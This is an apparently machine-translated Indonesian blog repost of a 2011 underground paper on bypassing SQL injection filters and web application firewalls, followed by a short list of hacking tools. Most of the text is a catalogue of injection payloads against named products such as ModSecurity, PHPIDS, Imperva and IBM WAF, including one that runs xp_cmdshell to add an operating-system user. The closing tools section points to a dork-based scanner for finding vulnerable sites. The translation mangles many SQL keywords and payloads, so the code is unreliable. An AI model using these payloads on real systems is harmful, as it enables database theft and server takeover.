fb

Selamat Datang di Facebook - Masuk, Daftar atau Pelajari Selengkapnya

Kamis, 15 Desember 2011

toturial 6

Selain SQLi: mengaburkan dan Bypass
|=------------------------------------------------ --------------------=|Selain |=--------------=[ SQLi: mengaburkan dan Bypass ]=---------------=||=-------------------------=[ 6 Oktober 2011 ]=---------------- -------=||=----------------------=[ Dengan Underground CWH ]=------------------- -= ||=------------------------------------------------ --------------------=|

######
 
Info######
Judul: Beyond SQLi: mengaburkan dan BypassAuthor: "ZeQ3uL" (Prathan Phongthiproek) dan "Suphot Boonchamnan"Tim: CWH Underground [http://www.exploit-db.com/author/?a=1275]Tanggal: 2011/10/06

##########
 
Isi##########

  
[0x00] - Pendahuluan

  
[0x01] - Evasion Filter (Mysql)
[0x01a] - Fungsi Bypass dan Kata Kunci Penyaringan[0x01b] - Ekspresi Reguler Bypass Penyaringan

  
[0x02] - Biasanya Melewati Teknik

  
[0x03] - Melewati Teknik Lanjutan
[0x03a] - HTTP Parameter Pencemaran: Split dan Join[0x03b] - HTTP Parameter Kontaminasi
 
  
[0x04] - Bagaimana melindungi situs Anda

  
[0x05] - Kesimpulan

  
[0x06] - Referensi

  
[0x07] - Greetz Untuk

#######################
 
[0x00] - Pendahuluan#######################
Selamat datang pembaca, makalah ini merupakan upaya panjang di mendokumentasikan injeksi SQL canggih kami telah bekerja pada.Makalah ini akan mengungkapkan melewati canggih dan teknik pengaburan yang banyak dari mereka dapat digunakan dalam CMSS nyata dan WAFS. Laporan injeksi SQL yang diusulkan dalam makalah ini adalah beberapa cara untuk memotong perlindungan.Masih ada beberapa teknik lain dapat digunakan untuk aplikasi web serangan tapi sayangnya kami tidak bisa memberitahu Anda sekarang, karena disimpan sebagai serangan 0-hari. Namun, makalah ini bertujuan untuk menunjukkan bahwa tidak ada sistem benar-benar amandi dunia nyata meskipun Anda menghabiskan lebih dari 300.000 USD pada suatu WAF.
Tulisan ini dibagi menjadi 7 bagian, tapi hanya dari bagian ke 0x03 0x01 sekitar informasi teknis.
0x01 Pasalnya, kami memberikan rincian tentang bagaimana untuk bypass filter termasuk dasar, fungsi dan kata kunci.0x02 Pasalnya, kami menawarkan biasanya melewati teknik untuk bypass WAF OpenSource dan Komersial.Bagian 0x03, kita berbicara dalam mendalam teknik melewati Lanjutan yang terpisah menjadi 2 bagian, "HTTP Kontaminasi Parameter".dan "Polusi HTTP: Split dan Join". Bagian 0x04, kita panduan untuk melindungi situs Anda sendiri pada solusi yang tepat.Bagian terakhir, 0x05, Ini kesimpulan dari Bagian 0x01-0x04.

#################################
 
[0x01] - Evasion Filter (Mysql)#################################
Bagian ini akan menggambarkan perilaku penghindaran filter berdasarkan PHP dan MySQL dan bagaimana untuk memotong penyaringan. Evasion Filter adalah teknik yang digunakan untuk mencegah serangan injeksi SQL. Teknik ini dapat dilakukan dengan menggunakan fungsi SQL dan kata kunci penyaringan atau ekspresi reguler.Ini berarti bahwa penghindaran menyaring sangat bergantung pada bagaimana menyimpan daftar hitam atau ekspresi reguler. Jika daftar hitam atau ekspresi reguler tidak mencakup setiap skenario injeksi, aplikasi web masih rentan terhadap serangan SQL Injection.
++++++++++++++++++++++++++++++++++++++++++++++++++ +[0x01a] - Fungsi Bypass dan Kata Kunci Penyaringan++++++++++++++++++++++++++++++++++++++++++++++++++ +
Fungsi dan kata kunci penyaringan mencegah aplikasi web dari diserang dengan menggunakan fungsi dan kata kunci daftar hitam. Jika penyerang menyampaikan kode injeksi yang mengandung kata kunci atau fungsi SQL dalam daftar hitam, injeksi akan berhasil.Namun, jika penyerang mampu memanipulasi injeksi dengan menggunakan kata kunci atau fungsi lain, daftar hitam akan gagal untuk mencegah serangan. Dalam rangka untuk mencegah serangan, sejumlah kata kunci dan fungsi harus dimasukkan ke dalam daftar hitam. Namun, ini mempengaruhi penggunaketika pengguna ingin mengirimkan input dengan kata dalam daftar hitam. Mereka akan dapat menyampaikan masukan karena sedang disaring oleh daftar hitam. Skenario berikut menunjukkan kasus menggunakan fungsi dan kata kunci penyaringan dan teknik melewati.

Kata Kunci Filer: dan, atau-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau) / i', $ id)
THe kata kunci dan, atau biasanya digunakan sebagai tes sederhana untuk menentukan apakah sebuah aplikasi web yang rentan terhadap serangan SQL Injection. Berikut ini adalah bypass sederhana menggunakan & &, | | bukan dan, atau masing-masing.
Difilter injeksi: 1 atau 1 = 1 1 dan 1 = 1Dilewati injeksi: 1 | | 1 = 1 1 & & 1 = 1-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat) / i', $ id)
Serikat kata kunci umumnya digunakan untuk menghasilkan sebuah pernyataan berbahaya dalam rangka untuk memilih data tambahan dari database.
Difilter injeksi: serikat pilih pengguna, kata sandi dari penggunaInjeksi dilewati: 1 | | (pengguna pilih dari pengguna dimana user_id = 1) = 'admin'
** Catatan: Anda harus tahu nama tabel, nama kolom dan beberapa data dalam tabel, jika tidak, anda harus mendapatkannya dari meja information_schema.columns menggunakan pernyataan lainnyamisalnya menggunakan fungsi substring untuk mendapatkan setiap karakter dari nama tabel.-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat pekerja, di mana-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana) / i', $ id)Injeksi disaring: 1 | | (pengguna pilih dari pengguna dimana user_id = 1) = 'admin'Dilewati injeksi: 1 | | (pengguna memilih dari membatasi pengguna 1) = 'admin'-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas) / i', $ id)Difilter injeksi: 1 | | (pengguna memilih dari membatasi pengguna 1) = 'admin'Dilewati injeksi: 1 | | (pengguna memilih dari kelompok pengguna dengan user_id = user_id memiliki 1) = 'admin'-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok oleh-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh) / i', $ id)Difilter injeksi: 1 | | (pengguna memilih dari kelompok pengguna dengan user_id = user_id memiliki 1) = 'admin'Dilewati injeksi: 1 | | (pilih substr (gruop_concat (user_id), 1,1) pengguna dari pengguna) = 1-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok oleh, pilih-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih) / i', $ id)Difilter injeksi: 1 | | (pilih substr (gruop_concat (user_id), 1,1) pengguna dari pengguna) = 1Injeksi dilewati: 1 | | 1 = 1 menjadi 'result.txt' outfileInjeksi dilewati: 1 | | substr (pengguna, 1,1) = 'a'-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok dengan, pilih, '-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih | \') / i ', $ id)Difilter injeksi: 1 | | (pilih substr (gruop_concat (user_id), 1,1) pengguna dari pengguna) = 1Dilewati injeksi: 1 | | user_id tidak nullDilewati injeksi: 1 | | substr (pengguna, 1,1) = 0x61Dilewati injeksi: 1 | | substr (pengguna, 1,1) = unhex (61)-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok dengan, pilih, ', hex-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih | \' | hex) / i ', $ id)Difilter injeksi: 1 | | substr (pengguna, 1,1) = unhex (61)Dilewati injeksi: 1 | | substr (pengguna, 1,1) = rendah (conv (11,10,36))-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok dengan, pilih, ", hex, substr-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih | \' | hex | substr) / i ', $ id)Difilter injeksi: 1 | | substr (pengguna, 1,1) = rendah (conv (11,10,36))Dilewati injeksi: 1 | | LPAD (pengguna, 7,1)-------------------------------------------------- --------------------

Kata Kunci Filer: dan, atau, serikat, di mana, batas, kelompok dengan, pilih, ", hex, substr, putih ruang-------------------------------------------------- --------------------PHP Filter kode: preg_match ('/ (dan | atau | serikat | mana | batas | kelompok oleh | pilih | \' | hex | substr | \ s) / i ', $ id)Difilter injeksi: 1 | | LPAD (pengguna, 7,1)Dilewati injeksi: 1% 0b | |% 0blpad (pengguna, 7,1)-------------------------------------------------- --------------------

Dari contoh di atas, dapat dilihat bahwa ada sejumlah pernyataan SQL yang digunakan untuk melewati daftar hitam meskipun daftar hitam berisi banyak kata kunci dan fungsi.Selain itu, ada pernyataan SQL besar, yang tidak pada contoh yang disebutkan, yang dapat digunakan untuk memotong daftar hitam.
Membuat daftar hitam yang lebih besar adalah bukan ide yang baik untuk melindungi situs Anda sendiri. Ingat, kata kunci yang lebih dan fungsi penyaringan, pengguna kurang bersahabat.

+++++++++++++++++++++++++++++++++++++++++++++++[0x01b] - Ekspresi Reguler Bypass Penyaringan+++++++++++++++++++++++++++++++++++++++++++++++
Penyaringan ekspresi reguler adalah solusi yang lebih baik untuk mencegah injeksi SQL dari kata kunci dan fungsi penyaringan karena digunakan pencocokan pola untuk mendeteksi serangan. Hari pengguna diperbolehkan untuk mengirimkan input lebih fleksibel untuk server.Namun, ekspresi reguler banyak juga dapat dilewati. Contoh berikut menggambarkan script injeksi yang digunakan untuk memotong ekspresi reguler di PHPIDS OpenSource 0,6.
PHPIDS umumnya blok masukan mengandung = atau (atau 'berikut dengan string atau bilangan bulat misalnya 1 atau 1 = 1, 1 atau '1', 1 atau char (97). Namun, dapat dilewati dengan menggunakan pernyataan yang tidak mengandung =, (atau 'simbol.
[Kode ]----------------------------------------------- ----------------disaring injeksi: 1 atau 1 = 1Dilewati injeksi: 1 atau 1[Akhir Kode ]---------------------------------------------- -------------
[Kode ]----------------------------------------------- ----------------disaring injeksi: 1 union select 1, table_name dari information_schema.tables mana table_name = 'user'disaring injeksi: 1 union select 1, table_name dari information_schema.tables mana nama_tabel antara 'a' dan 'z'disaring injeksi: 1 union select 1, table_name dari information_schema.tables mana nama_tabel antara char (97) dan char (122)Dilewati injeksi: 1 union select 1, table_name dari information_schema.tables mana nama_tabel antara 0x61 dan 0x7ADilewati Injeksi: 1 union select 1, table_name dari information_schema.tables mana nama_tabel seperti 0x7573657273[Akhir Kode ]---------------------------------------------- -------------


########################################
 
[0x02] - Biasanya Melewati Teknik########################################
Pada bagian ini, kita menyebutkan tentang teknik untuk memotong Firewall Aplikasi Web (WAF). Hal pertama yang Anda perlu tahu apa yang WAF?
Sebuah aplikasi web firewall (WAF) adalah sebuah alat, plugin server, atau filter yang menerapkan seperangkat aturan untuk percakapan HTTP.Umumnya, aturan-aturan ini mencakup serangan umum seperti Cross-site Scripting (XSS) dan SQL Injection. Dengan menyesuaikan aturan untuk aplikasi Anda,banyak serangan dapat diidentifikasi dan diblokir. Upaya untuk melakukan kustomisasi ini dapat signifikan dan perlu dipertahankan sebagai aplikasi tersebut dimodifikasi.WAFS sering disebut coz 'Firewall Packet Inspection Jauh' mereka melihat setiap permintaan dan respon dalam HTTP / HTTPS / SOAP / XML-RPC / layanan Web lacers.Beberapa WAF modern sistem bekerja baik dengan tanda tangan menyerang dan perilaku abnormal.
Sekarang batu Mari kita untuk memahami Bagaimana dengan mengaburkan pelanggaran, Semua WAFS dapat dilewati dengan waktu untuk memahami peraturan mereka atau menggunakan imajinasi Anda!

1. Bypass dengan Komentar
Komentar SQL memungkinkan kita untuk memotong banyak penyaringan dan WAFS.
[Kode ]----------------------------------------------- ----------------http://victim.com/news.php?id=1+un/ ** / ion + se / ** / lect +1,2,3 -[Akhir Kode ]---------------------------------------------- -------------

2. Kasus Mengubah
Beberapa filter yang hanya WAFS kata kunci huruf kecil SQL.
Regex Filter: / serikat \ sselect / g
[Kode ]----------------------------------------------- ----------------http://victim.com/news.php?id=1+UnIoN/ ** / select / ** / 1,2,3 -[Akhir Kode ]---------------------------------------------- -------------

3. Diganti kata kunci
Beberapa aplikasi dan WAFS menggunakan preg_replace untuk menghapus semua kata kunci SQL. Jadi kita bisa bypass dengan mudah.
[Kode ]----------------------------------------------- ----------------http://victim.com/news.php?id=1+UNunionION+SEselectLECT+1 ,2,3 -[Akhir Kode ]---------------------------------------------- -------------
Beberapa kasus kata kunci SQL disaring keluar dan digantikan dengan spasi. Jadi kita dapat menggunakan "% 0b" untuk memotong.
[Kode ]----------------------------------------------- ----------------http://victim.com/news.php?id=1+uni% 0bon + se% 0blect +1,2,3 -[Akhir Kode ]---------------------------------------------- -------------
Untuk Mod_rewrite, Komentar "/**/" tidak bisa dilewati. Jadi kita menggunakan "0b%" ganti "/**/".
Terlarang:. Http://victim.com/main/news/id/1/ **/||/**/ LPAD (first_name, 7,1) htmlMelewati:.% Http://victim.com/main/news/id/1 0b | |% 0blpad (first_name, 7,1) html


4. Pengkodean karakter
Kebanyakan CMSS dan WAFS akan decode dan filter / memotong input aplikasi, tetapi beberapa hanya WAFS decode masukan sekali sehinggapengkodean ganda dapat mem-bypass filter tertentu sebagai WAF akan decode masukan sekali kemudian saring sementara aplikasi tetapdecoding mengeksekusi pernyataan SQL

http://victim.com/news.php?id=1% 252F% 252a * / serikat% 252a% 252F /%% 252F 252a pilih * / 1,2,3% 252F% 252a * / dari% 252F% 252a * / pengguna -[Akhir
Selain itu, teknik ini dapat menggabungkan untuk memotong Citrix NetScaler- Hapus semua "NULL" kata- Encoding Gunakan query di beberapa bagian- Hapus karakter kutip tunggal "'"- Dan Bersenang-senang!Kredit: Wendel Guglielmetti Henrique
dan "Armorlogic Profense" sebelum 2.4.4 telah dilewati oleh URL-encoded karakter newline.

# Contoh Nyata Dunia
1. NukeSentinel (Nuke Evolusi)
[Nukesentinel.php Kode ]-------------------------------------------- ----------------/ / Periksa UNION serangan/ / Copyright 2004 (c) Raven PHP Script$ Blocker_row = $ blocker_array [1];if ($ blocker_row ['mengaktifkan']> 0) {
 
if (stristr ($ nsnst_const ['QUERY_STRING'],'+ serikat +') ATAU \stristr ($ nsnst_const ['QUERY_STRING 20union%'],'% 20') ATAU \stristr ($ nsnst_const ['QUERY_STRING'],'*/ serikat / *') ATAU \stristr ($ nsnst_const ['QUERY_STRING'], 'persatuan') ATAU \stristr ($ nsnst_const ['query_string_base64'],'+ serikat +') ATAU \stristr ($ nsnst_const ['query_string_base64 20union%'],'% 20') ATAU \stristr ($ nsnst_const ['query_string_base64'],'*/ serikat / *') ATAU \stristr ($ nsnst_const ['query_string_base64'], 'persatuan')) {/ / block_ip ($ blocker_row);mati ("BLOK IP 1");}}[Akhir Kode ]---------------------------------------------- ---------------------------
Kita dapat melewati penyaringan mereka dengan script ini:
Terlarang:?? Http://victim.com/php-nuke/?/ ** / serikat / ** / pilih ..Dilewati:% 2A http://victim.com/php-nuke/?/% 2A/union /% 2A 2A/select%??Dilewati:? Http://victim.com/php-nuke/% 2f%% 2funion ** **% 2f 2fselect??

2. Mod Keamanan CRS (Kredit: Johannes Dahse)
[SecRule ]----------------------------------------------- ---------------------------SecRule REQUEST_FILENAME | ARGS_NAMES | args | XML: / * "? \ Bunion \ b. {1.100} \ bselect \ b" \ "phase2, rev: '2 .2.1 ', menangkap, t: tidak ada,
msg: "Serangan SQL Injection ', id: '959047', tag: 'WEB_ATTACK / SQL_INJECTION', tag: 'WASCTC/WASC-19', tag: 'OWASP_TOP_10/A1',

setvar:. tx% {} rule.id -WEB_ATTACK/SQL_INJECTION-% {} = matched_var_name% {tx.0} "[Aturan Akhir ]---------------------------------------------- ---------------------------
Kita dapat melewati penyaringan mereka dengan kode ini:
[Kode ]----------------------------------------------- -------------------------------
[Akhir Kode ]---------------------------------------------- ----------------------------
Dari serangan ini, Kami dapat mem-bypass aturan Mod Keamanan. Mari melihat apa yang terjadi!!
MySQL Server mendukung 3 gaya komentar:- Dari karakter "#" ke akhir baris- Dari "-" urutan ke akhir baris- Dari urutan / * ke * berikut / urutan, seperti dalam bahasa pemrograman C.Sintaks ini memungkinkan komentar untuk memperpanjang lebih dari beberapa baris karena urutan awal dan menutup kebutuhantidak pada baris yang sama.
Contoh berikut ini, Kami menggunakan "% 0A% 0D" sebagai karakter baris baru. Mari kita lihat pada permintaan pertama (untuk mengekstrak user DB)Payload SQL yang dihasilkan tampak seperti ini:
0 div 1 serikat # foo * / * / barpilih # foo1,2, CURRENT_USER
Namun muatan SQL, ketika dieksekusi oleh MySQL DB, tampak sesuatu seperti ini:
0 div 1 union select 1,2, CURRENT_USER

5. Buffer Overflow
WAFS yang ditulis dalam bahasa C rentan terhadap overflow atau bertindak berbeda ketika dimuat dengan sekelompok data.Berikan sejumlah besar data memungkinkan kode kita mengeksekusi
[Kode ]----------------------------------------------- -------------------------------http://victim.com/news.php?id=1+and+ (pilih 1) = (pilih 0x414141414141441414141414114141414141414141414141414141414141414141 ??.)+ serikat + pilih +1,2, versi (), database (), user () ,6,7,8,9,10 -[Akhir Kode ]---------------------------------------------- ----------------------------

6. Inline Komentar (Mysql Hanya)
Dari MySQL 5.0 Reference Manual, MySQL Server mendukung beberapa varian C-gaya komentar. Ini memungkinkan Anda untuk menuliskode yang mencakup ekstensi MySQL, tapi masih portabel, dengan menggunakan komentar-komentar dari formulir berikut:
/ *! MySQL-kode khusus * /
Dalam hal ini, MySQL Server mem-parsing dan mengeksekusi kode dalam komentar karena akan pernyataan SQL lain,tapi lain SQL server akan mengabaikan ekstensi.
Banyak WAFS SQL kata kunci filter seperti / serikat \ sselect \ ig Kita dapat melewati filter ini dengan menggunakan inline komentar.
[Kode ]----------------------------------------------- -------------------------------http://victim.com/news.php?id=1/ * UNION * / Pilih +1,2,3! -[Akhir Kode ]---------------------------------------------- ----------------------------
Komentar inline dapat digunakan di seluruh pernyataan SQL jadi jika nama_tabel atau information_schema yang disaring kita dapatmenambahkan komentar inline lebih
[Kode ]----------------------------------------------- -------------------------------
/ * Dimana */+/*! TaBlE_sChEMa * / + seperti + database ()! -[Akhir Kode ]---------------------------------------------- ----------------------------


########################################
 
[0x03] - Melewati Teknik Lanjutan########################################
Pada bagian ini, kami menawarkan 2 teknik yang "Polusi HTTP: Split dan Join" dan "HTTP Kontaminasi Parameter".Dari teknik ini dapat memotong banyak firewall aplikasi Web OpenSource dan Komersial (WAF)
    
     
++++++++++++++++++++++++++++++++++++++++++++++++++ + +[0x03a] - HTTP Parameter Pencemaran: Split dan Join++++++++++++++++++++++++++++++++++++++++++++++++++ + +
Polusi HTTP adalah kelas baru kerentanan injeksi oleh Luca Carettoni dan Stefano Di Paola. HPP adalah cukup sederhana namunefektif teknik hacker. Serangan HPP dapat didefinisikan sebagai kelayakan untuk menimpa atau menambahkan HTTP GET / POST parameter dengan menyuntikkanstring kueri.
Contoh dari HPP: "http://victim.com/search.aspx?par1=val1&par1=val2"
HTTP Parameter Penanganan: (Contoh)
+------------------------------------------------- -----------------+| Web Server | Parameter Interpretasi | Contoh |+------------------------------------------------- -----------------+| ASP.NET / IIS | konkatenasi dengan koma | par1 = VAL1, VAL2 || ASP / IIS | konkatenasi dengan koma | par1 = VAL1, VAL2 || PHP / Apache | The param terakhir adalah dihasilkan | par1 = VAL2 || JSP / Tomcat | The param pertama adalah yang dihasilkan | par1 = VAL1 || Perl / Apache | The param pertama adalah yang dihasilkan | par1 = VAL1 || DBMan | konkatenasi oleh dua tildes | par1 = VAL1 ~ ~ VAL2 |+------------------------------------------------- -----------------+
Apa yang akan terjadi dengan WAFS yang parsing String Query sebelum menerapkan filter? (HPP dapat digunakan bahkan untuk memotong WAFS)Beberapa WAFS longgar dapat menganalisis dan memvalidasi kejadian parameter tunggal saja (yang pertama atau terakhir). Setiap kali kesepakatan lingkungan concatenatesbeberapa kejadian (ASP, ASP.NET, DBMan,??) agresor dapat membagi payload jahat.
Dalam uji penetrasi terakhir (lagi), kami mampu memotong SecureSphere Imperva menggunakan "HPP + Komentar Inline" pada ASP / ASP.NET lingkungan.Teknik ini dapat memotong WAFS Komersial lain juga. Informasi lebih lanjut tentang "HPP + Komentar Inline" ditunjukkan di bawah ini:

# Contoh Nyata Dunia:
1. Mod Keamanan CRS (Kredit: Lavakumar Kuppan)
Permintaan berikut pertandingan melawan CRS ModSecurity sebagai serangan SQL Injection dan diblokir.
Terlarang: http://victim.com/search.aspx?q=select nama, password dari pengguna
Ketika muatan yang sama dibagi terhadap beberapa parameter dari ModSecurity nama yang sama gagal untuk blok itu.
Dilewati: http://victim.com/search.aspx?q=select nama & q = password dari pengguna

Mari kita lihat apa yang terjadi, penafsiran ModSecurity adalah
q = pilih namaq = password dari pengguna
ASP / ASP.NET 's interpretasiq = pilih nama, password dari pengguna
* Tips: Serangan ini dapat dilakukan pada variabel POST dengan cara yang sama

2. Komersial WAFS
Terlarang: http://victim.com/search.aspx?q=select nama, password dari pengguna
Sekarang kita menggunakan HPP + Inline komentar untuk memotong itu.
Dilewati: http://victim.com/search.aspx?q=select/ * & q =* / nama & q = password / * & q =* / dari / * & q =* / pengguna

Menganalisis, interpretasi WAF adalah
q = pilih / *q =* / namaq = password / *q =* / dari / *q =* / pengguna
ASP / ASP.NET 's interpretasiq = pilih /*,*/ nama, password /*,*/ dari pengguna /*,*/q = pilih nama, password dari pengguna

3. IBM Web Application Firewall (Kredit: Wendel Guglielmetti Henrique dari Trustwave yang SpiderLabs)
Terlarang:?? Http://victim.com/news.aspx?id=1 '; EXEC menguasai .. xp_cmdshell bersih pengguna zeq3ul UrWaFisShiT / tambahkan?? -
Sekarang kita menggunakan HPP + Inline komentar untuk memotong itu.
Dilewati: http://victim.com/news.aspx?id=1 '; / * & id = 1 * / EXEC / * & id = 1 * / master .. xp_cmdshell / * & user id = 1 * / net lucifer?? UrWaFisShiT?? / * & Id = 1 * / -

Menganalisis, interpretasi WAF adalah
id = 1;?? / *id = 1 * / EXEC / *id = 1 * / master .. xp_cmdshell / *id = 1 * /? bersih pengguna zeq3ul UrWaFisShiT??? / *id = 1 * / -
ASP / ASP.NET 's interpretasiid = 1;???? / *, 1 * / EXEC / *, 1 * / master .. xp_cmdshell / *, 1 * / net pengguna zeq3ul UrWaFisShiT?? / *, 1 * / -id = 1;???? EXEC menguasai .. xp_cmdshell bersih pengguna zeq3ul UrWaFisShiT?? -

Mitigasi termudah untuk serangan ini akan menjadi untuk WAF untuk melarang beberapa contoh dari parameter yang sama dalam permintaan HTTP tunggal.Ini akan mencegah semua variasi serangan ini.Namun ini mungkin tidak mungkin dalam semua kasus karena beberapa aplikasi mungkin memiliki kebutuhan yang sah untuk parameter beberapa duplikat.Dan mereka mungkin dirancang untuk mengirim dan menerima beberapa parameter HTTP nama yang sama di request.To sama melindungi aplikasi ini WAF yangjuga harus menafsirkan permintaan HTTP dengan cara yang sama aplikasi web akan.

++++++++++++++++++++++++++++++++++++++++[0x03b] - HTTP Parameter Kontaminasi++++++++++++++++++++++++++++++++++++++++
HTTP Parameter Kontaminasi (HPC) Ide asli berasal dari pendekatan inovatif yang ditemukan dalam penelitian HPP olehmengeksplorasi lebih dalam dan mengeksploitasi perilaku aneh dalam komponen Web Server, Aplikasi Web dan Browser sebagai hasil dari query stringParameter kontaminasi dengan karakter dilindungi atau non mengharapkan.
Beberapa fakta:
     
- String Query Istilah umumnya digunakan untuk merujuk ke bagian antara "?" dan akhir URI- Seperti didefinisikan dalam RFC 3986, itu adalah serangkaian lapangan pasangan nilai- Pasangan dipisahkan oleh "&" atau ";"- RFC 2396 mendefinisikan dua kelas karakter:Ditunjukkan oleh: a-z, A-Z, 0-9 dan _. ! ~ * '()Dilindungi:; /? : @ & = + $,Bijaksana: {} | \ ^ [] `
Server web yang berbeda memiliki logika yang berbeda untuk memproses permintaan dibuat khusus. Ada lebih web server, platform backend dan kombinasi karakter khusus,tapi kami akan berhenti di sini saat ini.
Query string dan Web server respon (Contoh)
+------------------------------------------------- ----------+| String Query | Web Server respon / GET nilai |+------------------------------------------------- ----------+| | Apache/2.2.16, PHP/5.3.3 | IIS6/ASP |+------------------------------------------------- ----------+|? Tes [1 = 2 | test_1 = 2 | tes [1 = 2 ||? Test =% | test =% | test = || Tes% 00 = 1 |? Test = 1 | test = 1 ||? Test = 1% 001 | NULL | test = 1 ||? Tes + d = 1 +2 | test_d = 1 2 | tes d = 1 2 |+------------------------------------------------- ----------+
Karakter "%" ajaib mempengaruhi untuk ASP / ASP.NET
+------------------------------------------------- -------------------+| Keywords | WAF | ASP / ASP.NET |+------------------------------------------------- -------------------+| Sele% ct * fr om ..% | Sele% ct * fr om ..% | Pilih * dari .. ||; Dr% op ta ble% xxx |; dr% op ta ble% xxx |; setetes xxx tabel || <scr%ipt> | <scr%ipt> | <script> || <if%rame> | <if%rame> | <iframe> |+------------------------------------------------- -------------------+

# Contoh dunia nyata:
1. Bypass mod_security SQL Injection aturan (modsecurity_crs_41_sql_injection_attacks.conf)
[Difilter ]----------------------------------------------- -----------------------------------
[Sun 12 Jun 2011 00:30:16] [error] [client 192.168.2.102] ModSecurity: Akses ditolak dengan kode 403 (fase 2). Cocok dengan pola "\ \ bsys \ \. User_objects \ \ b"di ARGS_NAMES: sys.user_objects. [File "/ etc/apache2/conf.d/crs/activated_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [garis "110"] [id "959519"][Rev "2.2.0"] [msg "Buta SQL Injection Serangan"] [data "sys.user_objects"] [keparahan "KRITIS"] [tag "WEB_ATTACK / SQL_INJECTION"] [tag "WASCTC/WASC-19"][Tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "localhost"] [uri "/"] [unique_id "TfT3gH8AAQEAAAPyLQQAAAAA"]
[Akhir Kode ]---------------------------------------------- --------------------------------
Terlarang: http://localhost/?xp_cmdshellDilewati: http://localhost/?xp [cmdshell
2. Bypass UrlScan 3.1 aturan DenyQueryStringSequences
Terlarang: http://localhost/test.asp?file=../bla.txtDilewati: http://localhost/test.asp?file =.%./ bla.txt
3. Bypass AQTRONIX Webknight (WAF untuk IIS dan ASP / ASP.Net)
Terlarang: http://victim.com/news.asp?id=10 dan 1 = 0 / (pilih top 1 table_name from information_schema.tables)Melewati: http://victim.com/news.asp?id=10 nd% 1 = 0 / (se% lect atas 1 ta% ble_name fr% rmation_schema.tables Info% om)
Dari situasi ini, Webknight menggunakan kata kunci SQL penyaringan ketika kita menggunakan "kontaminasi HTTP" dengan memasukkan "%" menjadi kata kunci SQL WAF dilewati dan mengirim iniperintah ke server Web: "id = 10 dan 1 = 0 / (pilih top 1 table_name dari information_schema.tables)" karena "%" adalah pemotong di server web.

Jenis teknik hacking selalu menarik karena mereka mengungkapkan perspektif baru tentang masalah keamanan.Banyak aplikasi yang ditemukan rentan terhadap penyalahgunaan semacam ini karena tidak ada aturan yang ditetapkan untuk perilaku web server yang aneh.HPC dapat digunakan untuk memperluas serangan spoofing HPP dengan nama parameter nyata dalam QUERY_STRING dengan karakter "%" pada platform IIS / ASP,jika ada yang WAF blok semacam ini serangan.


######################################
 
[0x04] - Bagaimana melindungi situs Anda######################################
- Melaksanakan Software Development Life Cycle (SDLC)- Coding Aman: Validasi semua input dan output- PenTest sebelum secara online- Harden it!- Tinjau ulang PenTest- Menyebarkan WAF (Untuk Opsional)- Selalu periksa patch yang WAF

#####################
 
[0x05] - Kesimpulan#####################
 
- WAFS tidak lama diharapkan- Ini keterbatasan fungsional, WAF tidak dapat melindungi aplikasi web dari semua kerentanan yang mungkin- Ini diperlukan untuk beradaptasi menyaring WAF ke aplikasi web tertentu diproteksi- WAF tidak menghilangkan kerentanan, Itu hanya sebagian layar vektor serangan

#####################
 
[0x06] - Referensi#####################
[1] WAF Bypass: SQL Injection - Kyle[2] http://cwe.mitre.org/data/definitions/98.html[3] HTTP Parameter Pencemaran - Ivan Markovic NSS[4] Split dan Gabung - Lavakumar Kuppan[5] HTTP Parameter Polusi - Luca Carettoni dan Stefano di Paola[6] blog.spiderlabs.com

####################
 
[0x07] - Greetz Untuk####################
Greetz: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2Khusus Thx: Exploit-db.com

-------------------------------------------------- -Tujuan pengungkapan kita tidak membantu produk keamanan tetapi perlu untuk mengungkapkan kotoran mereka.Keamanan Produk tidak bisa 100% melindungi dari config sialan / coding dari admin.Hanya perlu waktu dan imajinasi untuk pelanggaran itu!!-------------------------------------------------- -

toturial 5

Alat perdagangan:Tidak banyak alat tapi beberapa yang di luar sana bekerja cukup baik.
Alat pertama saya ingin cover HackBar tersebut. Ini adalah plugin untuk firefox dan saya pikir mereka sekarang memiliki satu untuk krom. Ini benar-benar berguna untuk SQLi, dan benar-benar membantu mempercepat injeksi manual.Kode:https://addons.mozilla.org/en-us/firefox/addon/hackbar/
Alat berikutnya saya akan mencakup adalah scanner SQLi. Ini adalah alat yang secara otomatis akan memindai Dorks untuk Anda dan cek untuk situs rentan. Contoh akan:Kode:http://dreamkiller.byethost17.com/sqli/
Alat Berikutnya aku akan menutupi adalah pencari halaman admin. Ini adalah penyebab alat yang hebat memungkinkan wajah itu, dapat mengambil waktu yang lama untuk menemukan halaman admin jadi mengapa tidak memiliki script yang melakukannya untuk Anda cukup cepat.Kode:http://sc0rpion.ir/af/
